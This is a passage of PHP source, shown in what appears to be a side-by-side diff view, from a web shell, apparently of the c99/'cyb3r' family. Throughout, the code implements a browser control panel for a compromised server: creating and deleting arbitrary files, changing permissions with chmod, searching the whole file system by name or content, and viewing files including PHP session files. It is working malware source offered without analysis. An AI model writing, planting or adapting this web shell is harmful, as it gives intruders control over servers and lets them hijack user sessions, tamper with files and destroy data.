| 4070 | { | 4070 | { |
| 4071 | 4071 | ||
| 4072 | rsg_read(); | 4072 | rsg_read(); |
| 4073 | 4073 | ||
| 4074 | } | 4074 | } |
| 4075 | 4075 | ||
| 4076 | 4076 | ||
| 4077 | 4077 | ||
| 4078 | ?> | 4078 | ?> |
| 4079 | 4079 | ||
| 4080 | 4080 | ||
| 4081 | <br> | 4081 | <br> |
| 4082 | 4082 | ||
| 4083 | </div> | 4083 | </div> |
| 4084 | 4084 | ||
| 4085 | </form> | 4085 | </form> |
| 4086 | 4086 | ||
| 4087 | </td> | 4087 | </td> |
| 4088 | <td > | 4088 | <td > |
| 4089 | <center><b>[: Make File :]</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center> | 4089 | <center><b>[: Make File :]</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center> |
| 4090 | </td> | 4090 | </td> |
| 4091 | <td> | 4091 | <td> |
| 4092 | <center><b>{: Go File :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center> | 4092 | <center><b>{: Go File :}</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center> |
| 4093 | </td> | 4093 | </td> |
| 4094 | 4094 | ||
| 4095 | </tr> | 4095 | </tr> |
| 4096 | 4096 | ||
| 4097 | </table> <?php | 4097 | </table> <?php |
| 4098 | } | 4098 | } |
| 4099 | 4099 | ||
| 4100 | 4100 | ||
| 4101 | if ($act == "delete") | 4101 | if ($act == "delete") |
| 4102 | 4102 | ||
| 4103 | { | 4103 | { |
| 4104 | 4104 | ||
| 4105 | $delerr = ""; | 4105 | $delerr = ""; |
| 4106 | 4106 | ||
| 4107 | foreach ($actbox as $v) | 4107 | foreach ($actbox as $v) |
| 4108 | 4108 | ||
| 4109 | { | 4109 | { |
| 4110 | 4110 | ||
| 4111 | $result = FALSE; | 4111 | $result = FALSE; |
| 4112 | 4112 | ||
| 4113 | $result = fs_rmobj($v); | 4113 | $result = fs_rmobj($v); |
| 4114 | 4114 | ||
| 4115 | if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} | 4115 | if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} |
| 4116 | 4116 | ||
| 4117 | } | 4117 | } |
| 4118 | 4118 | ||
| 4119 | if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} | 4119 | if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} |
| 4120 | 4120 | ||
| 4121 | $act = "ls"; | 4121 | $act = "ls"; |
| 4122 | 4122 | ||
| 4123 | } | 4123 | } |
| 4124 | 4124 | ||
| 4125 | if ($act == "chmod") | 4125 | if ($act == "chmod") |
| 4126 | 4126 | ||
| 4127 | { | 4127 | { |
| 4128 | 4128 | ||
| 4129 | $mode = fileperms($d.$f); | 4129 | $mode = fileperms($d.$f); |
| 4130 | 4130 | ||
| 4131 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} | 4131 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} |
| 4132 | 4132 | ||
| 4133 | else | 4133 | else |
| 4134 | 4134 | ||
| 4135 | { | 4135 | { |
| 4136 | 4136 | ||
| 4137 | $form = TRUE; | 4137 | $form = TRUE; |
| 4138 | 4138 | ||
| 4139 | if ($chmod_submit) | 4139 | if ($chmod_submit) |
| 4140 | 4140 | ||
| 4141 | { | 4141 | { |
| 4142 | 4142 | ||
| 4143 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); | 4143 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); |
| 4144 | 4144 | ||
| 4145 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} | 4145 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} |
| 4146 | 4146 | ||
| 4147 | else {$err = "Can't chmod to ".$octet.".";} | 4147 | else {$err = "Can't chmod to ".$octet.".";} |
| 4148 | 4148 | ||
| 4149 | } | 4149 | } |
| 4150 | 4150 | ||
| 4151 | if ($form) | 4151 | if ($form) |
| 4152 | 4152 | ||
| 4153 | { | 4153 | { |
| 4154 | 4154 | ||
| 4155 | $perms = parse_perms($mode); | 4155 | $perms = parse_perms($mode); |
| 4156 | 4156 | ||
| 4157 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; | 4157 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; |
| 4158 | 4158 | ||
| 4159 | } | 4159 | } |
| 4160 | 4160 | ||
| 4161 | } | 4161 | } |
| 4162 | 4162 | ||
| 4163 | } | 4163 | } |
| 4164 | 4164 | ||
| 4165 | if ($act == "search") | 4165 | if ($act == "search") |
| 4166 | 4166 | ||
| 4167 | { | 4167 | { |
| 4168 | 4168 | ||
| 4169 | echo "<b>Search in file-system:</b><br>"; | 4169 | echo "<b>Search in file-system:</b><br>"; |
| 4170 | 4170 | ||
| 4171 | if (empty($search_in)) {$search_in = $d;} | 4171 | if (empty($search_in)) {$search_in = $d;} |
| 4172 | 4172 | ||
| 4173 | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} | 4173 | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} |
| 4174 | 4174 | ||
| 4175 | if (empty($search_text_wwo)) {$search_text_regexp = 0;} | 4175 | if (empty($search_text_wwo)) {$search_text_regexp = 0;} |
| 4176 | 4176 | ||
| 4177 | if (!empty($submit)) | 4177 | if (!empty($submit)) |
| 4178 | 4178 | ||
| 4179 | { | 4179 | { |
| 4180 | 4180 | ||
| 4181 | $found = array(); | 4181 | $found = array(); |
| 4182 | 4182 | ||
| 4183 | $found_d = 0; | 4183 | $found_d = 0; |
| 4184 | 4184 | ||
| 4185 | $found_f = 0; | 4185 | $found_f = 0; |
| 4186 | 4186 | ||
| 4187 | $search_i_f = 0; | 4187 | $search_i_f = 0; |
| 4188 | 4188 | ||
| 4189 | $search_i_d = 0; | 4189 | $search_i_d = 0; |
| 4190 | 4190 | ||
| 4191 | $a = array | 4191 | $a = array |
| 4192 | 4192 | ||
| 4193 | ( | 4193 | ( |
| 4194 | 4194 | ||
| 4195 | "name"=>$search_name, "name_regexp"=>$search_name_regexp, | 4195 | "name"=>$search_name, "name_regexp"=>$search_name_regexp, |
| 4196 | 4196 | ||
| 4197 | "text"=>$search_text, "text_regexp"=>$search_text_regxp, | 4197 | "text"=>$search_text, "text_regexp"=>$search_text_regxp, |
| 4198 | 4198 | ||
| 4199 | "text_wwo"=>$search_text_wwo, | 4199 | "text_wwo"=>$search_text_wwo, |
| 4200 | 4200 | ||
| 4201 | "text_cs"=>$search_text_cs, | 4201 | "text_cs"=>$search_text_cs, |
| 4202 | 4202 | ||
| 4203 | "text_not"=>$search_text_not | 4203 | "text_not"=>$search_text_not |
| 4204 | 4204 | ||
| 4205 | ); | 4205 | ); |
| 4206 | 4206 | ||
| 4207 | $searchtime = getmicrotime(); | 4207 | $searchtime = getmicrotime(); |
| 4208 | 4208 | ||
| 4209 | $in = array_unique(explode(";",$search_in)); | 4209 | $in = array_unique(explode(";",$search_in)); |
| 4210 | 4210 | ||
| 4211 | foreach($in as $v) {cyb3rfsearch($v);} | 4211 | foreach($in as $v) {cyb3rfsearch($v);} |
| 4212 | 4212 | ||
| 4213 | $searchtime = round(getmicrotime()-$searchtime,4); | 4213 | $searchtime = round(getmicrotime()-$searchtime,4); |
| 4214 | 4214 | ||
| 4215 | if (count($found) == 0) {echo "<b>No files found!</b>";} | 4215 | if (count($found) == 0) {echo "<b>No files found!</b>";} |
| 4216 | 4216 | ||
| 4217 | else | 4217 | else |
| 4218 | 4218 | ||
| 4219 | { | 4219 | { |
| 4220 | 4220 | ||
| 4221 | $ls_arr = $found; | 4221 | $ls_arr = $found; |
| 4222 | 4222 | ||
| 4223 | $disp_fullpath = TRUE; | 4223 | $disp_fullpath = TRUE; |
| 4224 | 4224 | ||
| 4225 | $act = "ls"; | 4225 | $act = "ls"; |
| 4226 | 4226 | ||
| 4227 | } | 4227 | } |
| 4228 | 4228 | ||
| 4229 | } | 4229 | } |
| 4230 | 4230 | ||
| 4231 | echo "<form method=POST> | 4231 | echo "<form method=POST> |
| 4232 | 4232 | ||
| 4233 | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> | 4233 | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> |
| 4234 | 4234 | ||
| 4235 | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp | 4235 | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp |
| 4236 | 4236 | ||
| 4237 | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> | 4237 | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> |
| 4238 | 4238 | ||
| 4239 | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> | 4239 | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> |
| 4240 | 4240 | ||
| 4241 | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp | 4241 | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp |
| 4242 | 4242 | ||
| 4243 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only | 4243 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only |
| 4244 | 4244 | ||
| 4245 | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive | 4245 | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive |
| 4246 | 4246 | ||
| 4247 | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text | 4247 | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text |
| 4248 | 4248 | ||
| 4249 | <br><br><input type=submit name=submit value=\"Search\"></form>"; | 4249 | <br><br><input type=submit name=submit value=\"Search\"></form>"; |
| 4250 | 4250 | ||
| 4251 | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} | 4251 | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} |
| 4252 | 4252 | ||
| 4253 | } | 4253 | } |
| 4254 | 4254 | ||
| 4255 | if ($act == "fsbuff") | 4255 | if ($act == "fsbuff") |
| 4256 | 4256 | ||
| 4257 | { | 4257 | { |
| 4258 | 4258 | ||
| 4259 | $arr_copy = $sess_data["copy"]; | 4259 | $arr_copy = $sess_data["copy"]; |
| 4260 | 4260 | ||
| 4261 | $arr_cut = $sess_data["cut"]; | 4261 | $arr_cut = $sess_data["cut"]; |
| 4262 | 4262 | ||
| 4263 | $arr = array_merge($arr_copy,$arr_cut); | 4263 | $arr = array_merge($arr_copy,$arr_cut); |
| 4264 | 4264 | ||
| 4265 | if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} | 4265 | if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} |
| 4266 | 4266 | ||
| 4267 | else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} | 4267 | else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} |
| 4268 | 4268 | ||
| 4269 | } | 4269 | } |
| 4270 | 4270 | ||
| 4271 | if ($act == "d") | 4271 | if ($act == "d") |
| 4272 | 4272 | ||
| 4273 | { | 4273 | { |
| 4274 | 4274 | ||
| 4275 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} | 4275 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} |
| 4276 | 4276 | ||
| 4277 | else | 4277 | else |
| 4278 | 4278 | ||
| 4279 | { | 4279 | { |
| 4280 | 4280 | ||
| 4281 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; | 4281 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; |
| 4282 | 4282 | ||
| 4283 | if (!$win) | 4283 | if (!$win) |
| 4284 | 4284 | ||
| 4285 | { | 4285 | { |
| 4286 | 4286 | ||
| 4287 | echo "<tr><td><b>Owner/Group</b></td><td> "; | 4287 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
| 4288 | 4288 | ||
| 4289 | $ow = posix_getpwuid(fileowner($d)); | 4289 | $ow = posix_getpwuid(fileowner($d)); |
| 4290 | 4290 | ||
| 4291 | $gr = posix_getgrgid(filegroup($d)); | 4291 | $gr = posix_getgrgid(filegroup($d)); |
| 4292 | 4292 | ||
| 4293 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); | 4293 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); |
| 4294 | 4294 | ||
| 4295 | } | 4295 | } |
| 4296 | 4296 | ||
| 4297 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; | 4297 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; |
| 4298 | 4298 | ||
| 4299 | } | 4299 | } |
| 4300 | 4300 | ||
| 4301 | } | 4301 | } |
| 4302 | 4302 | ||
| 4303 | if ($act == "chmod") | 4303 | if ($act == "chmod") |
| 4304 | 4304 | ||
| 4305 | { | 4305 | { |
| 4306 | 4306 | ||
| 4307 | $mode = fileperms($d.$f); | 4307 | $mode = fileperms($d.$f); |
| 4308 | 4308 | ||
| 4309 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} | 4309 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} |
| 4310 | 4310 | ||
| 4311 | else | 4311 | else |
| 4312 | 4312 | ||
| 4313 | { | 4313 | { |
| 4314 | 4314 | ||
| 4315 | $form = TRUE; | 4315 | $form = TRUE; |
| 4316 | 4316 | ||
| 4317 | if ($chmod_submit) | 4317 | if ($chmod_submit) |
| 4318 | 4318 | ||
| 4319 | { | 4319 | { |
| 4320 | 4320 | ||
| 4321 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); | 4321 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); |
| 4322 | 4322 | ||
| 4323 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} | 4323 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} |
| 4324 | 4324 | ||
| 4325 | else {$err = "Can't chmod to ".$octet.".";} | 4325 | else {$err = "Can't chmod to ".$octet.".";} |
| 4326 | 4326 | ||
| 4327 | } | 4327 | } |
| 4328 | 4328 | ||
| 4329 | if ($form) | 4329 | if ($form) |
| 4330 | 4330 | ||
| 4331 | { | 4331 | { |
| 4332 | 4332 | ||
| 4333 | $perms = parse_perms($mode); | 4333 | $perms = parse_perms($mode); |
| 4334 | 4334 | ||
| 4335 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; | 4335 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; |
| 4336 | 4336 | ||
| 4337 | } | 4337 | } |
| 4338 | 4338 | ||
| 4339 | } | 4339 | } |
| 4340 | 4340 | ||
| 4341 | } | 4341 | } |
| 4342 | 4342 | ||
| 4343 | if ($act == "f") | 4343 | if ($act == "f") |
| 4344 | 4344 | ||
| 4345 | { | 4345 | { |
| 4346 | 4346 | ||
| 4347 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") | 4347 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") |
| 4348 | 4348 | ||
| 4349 | { | 4349 | { |
| 4350 | 4350 | ||
| 4351 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} | 4351 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} |
| 4352 | 4352 | ||
| 4353 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} | 4353 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} |
| 4354 | 4354 | ||
| 4355 | } | 4355 | } |
| 4356 | 4356 | ||
| 4357 | else | 4357 | else |
| 4358 | 4358 | ||
| 4359 | { | 4359 | { |
| 4360 | 4360 | ||
| 4361 | $r = @file_get_contents($d.$f); | 4361 | $r = @file_get_contents($d.$f); |
| 4362 | 4362 | ||
| 4363 | $ext = explode(".",$f); | 4363 | $ext = explode(".",$f); |
| 4364 | 4364 | ||
| 4365 | $c = count($ext)-1; | 4365 | $c = count($ext)-1; |
| 4366 | 4366 | ||
| 4367 | $ext = $ext[$c]; | 4367 | $ext = $ext[$c]; |
| 4368 | 4368 | ||
| 4369 | $ext = strtolower($ext); | 4369 | $ext = strtolower($ext); |
| 4370 | 4370 | ||
| 4371 | $rft = ""; | 4371 | $rft = ""; |
| 4372 | 4372 | ||
| 4373 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} | 4373 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} |
| 4374 | 4374 | ||
| 4375 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} | 4375 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} |
| 4376 | 4376 | ||
| 4377 | if (empty($ft)) {$ft = $rft;} | 4377 | if (empty($ft)) {$ft = $rft;} |
| 4378 | 4378 | ||
| 4379 | $arr = array( | 4379 | $arr = array( |
| 4380 | 4380 | ||
| 4381 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), | 4381 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), |
| 4382 | 4382 | ||
| 4383 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), | 4383 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), |
| 4384 | 4384 | ||
| 4385 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), | 4385 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), |
| 4386 | 4386 | ||
| 4387 | array("Code","code"), | 4387 | array("Code","code"), |
| 4388 | 4388 | ||
| 4389 | array("Session","phpsess"), | 4389 | array("Session","phpsess"), |
| 4390 | 4390 | ||
| 4391 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), | 4391 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), |
| 4392 | 4392 | ||
| 4393 | array("SDB","sdb"), | 4393 | array("SDB","sdb"), |
| 4394 | 4394 | ||
| 4395 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), | 4395 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), |
| 4396 | 4396 | ||
| 4397 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), | 4397 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), |
| 4398 | 4398 | ||
| 4399 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), | 4399 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), |
| 4400 | 4400 | ||
| 4401 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), | 4401 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), |
| 4402 | 4402 | ||
| 4403 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") | 4403 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") |
| 4404 | 4404 | ||
| 4405 | ); | 4405 | ); |
| 4406 | 4406 | ||
| 4407 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; | 4407 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; |
| 4408 | 4408 | ||
